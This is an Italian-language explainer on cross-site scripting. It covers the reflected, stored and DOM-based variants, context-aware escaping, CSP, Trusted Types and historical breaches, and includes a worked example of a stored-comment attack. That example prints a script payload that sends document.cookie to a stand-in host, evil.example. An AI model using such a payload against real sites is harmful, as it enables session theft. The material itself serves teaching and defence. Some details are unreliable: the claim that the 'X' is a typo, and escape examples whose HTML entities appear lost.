XSS

XSS (Cross-Site Scripting — la X è un refuso storico rimasto) è un attacco di iniezione in cui JavaScript controllato dall’attaccante viene eseguito nel browser della vittima nel contesto di un sito affidabile. Tre varianti:

• XSS reflected — l’attaccante crea un URL contenente JavaScript; la vittima clicca; il sito riecheggia il parametro URL non escapato, e lo script viene eseguito. Esempio: ?search=<script>evil()</script>.
• XSS stored— l’attaccante invia contenuto malevolo (un commento, una bio del profilo) che il sito memorizza e successivamente renderizza non escapato ad altri utenti. Peggio del reflected perché si attiva automaticamente per ogni visitatore.
• XSS DOM-based — lo script viene eseguito puramente lato client, con il contenuto malevolo che non tocca mai il server. Spesso tramite document.write, innerHTML o gestione non sicura dei frammenti URL.

Difese: codifica dell’output contestuale (escape HTML in rendering, escape JS all’interno dei blocchi script, URL-encode per href). Intestazioni Content Security Policy (CSP) come difesa in profondità. I template engine con escape automatico (Jinja, ERB, React JSX) eliminano la maggior parte degli XSS reflected e stored per default.

XSS rimane nella Top 10 OWASP non perché la correzione sia difficile, ma perché è facile aggirare l’escape automatico con escape hatch in stile dangerouslySetInnerHTML e un posto dimenticato rovina l’intera difesa.

La sensibilità al contesto che nessuno rispetta: l’escape HTML (< per <) è corretto per inserire contenuto utente nel testo del body HTML. È sbagliato ovunque altro. All’interno di un blocco <script>, hai bisogno dell’escape delle stringhe JavaScript. All’interno di un attributo href=, hai bisogno della codifica URL più un blocco dello schema javascript:. All’interno di un CSS style=, hai bisogno di un escape diverso che elimini le espressioni CSS. All’interno di un attributo di event handler (onclick=), hai bisogno sia dell’escape HTML che dell’escape JS annidati. I template engine che “escape tutto in HTML” mancano silenziosamente i contesti di attributo, URL e event handler — DOMPurify o una libreria context-aware gestisce il set completo.

Trusted Types — la difesa moderna guidata da Chrome: Trusted Types (W3C Working Draft, rilasciato in Chrome dalla versione 83) è un’API del browser che rifiuta di accettare stringhe grezze in sink di iniezione come innerHTML, document.write o setAttribute. Il codice deve o esplicitamente contrassegnare un valore come “affidabile” attraverso un sanitizzatore, oppure l’assegnazione genera un TypeError. Abilitato tramite Content-Security-Policy: require-trusted-types-for 'script', questo rende effettivamente ogni potenziale sink XSS un errore in fase di compilazione piuttosto che una vulnerabilità in fase di esecuzione. L’adozione è ancora graduale ma la traiettoria di sicurezza dei nuovi framework web è chiaramente verso la compatibilità con Trusted Types. Riferimento: OWASP — Cross-site Scripting (XSS).

Esempio pratico

Un blog accetta un commento e renderizza <div>{commento}</div> lato server senza escape. L’attaccante invia <script>fetch('https://evil.example/steal?c='+document.cookie)</script>. Ogni visitatore successivo carica la pagina, lo script viene eseguito nell’origine del blog e il loro cookie di sessione viene esfiltrato. Mitigazione in tre livelli: (1) Fare l’escape HTML del commento in rendering in modo che < diventi < — lo script viene renderizzato come testo letterale. (2) Impostare il cookie con HttpOnly; Secure; SameSite=Strict così anche se XSS atterra, il cookie non è raggiungibile da JavaScript. (3) Distribuire un CSP rigoroso: Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m'; object-src 'none'; base-uri 'none' — gli script inline senza il nonce corrispondente vengono bloccati, quindi un tag <script> iniettato non può essere eseguito anche se l’escape fallisce. Difesa in profondità: uno qualsiasi dei livelli avrebbe fermato l’attacco; insieme rendono la classe di bug quasi estinta.

Quando e perché è importante

XSS è la vulnerabilità da lavoro di furto di credenziali, session hijack e takeover con un clic. La violazione di British Airways del 2018 (380.000 dati di carte esfiltrati), la violazione di Ticketmaster del 2018 e la lunga serie Magecart sono tutti iniziati come varianti di XSS o di iniezione di script nella supply chain. La buona notizia è che i framework moderni (React, Vue, Angular, Svelte) escapano automaticamente i valori interpolati per default — la classe di bug è molto più rara nel codice greenfield di quanto non fosse un decennio fa. La cattiva notizia è che ogni framework fornisce un escape hatch (dangerouslySetInnerHTML, v-html, [innerHTML], {@html ...}) che uno sviluppatore stanco inevitabilmente raggiunge, spesso per iniettare contenuto creato da CMS o widget di terze parti. Il playbook difensivo: abilitare CSP con nonce o hash, impostare HttpOnly sui cookie di sessione, usare DOMPurify per qualsiasi caso in cui si deve accettare HTML, e auditare i risultati di grep per le API di escape-hatch del framework al momento della PR. Riferimento: OWASP XSS Prevention Cheat Sheet.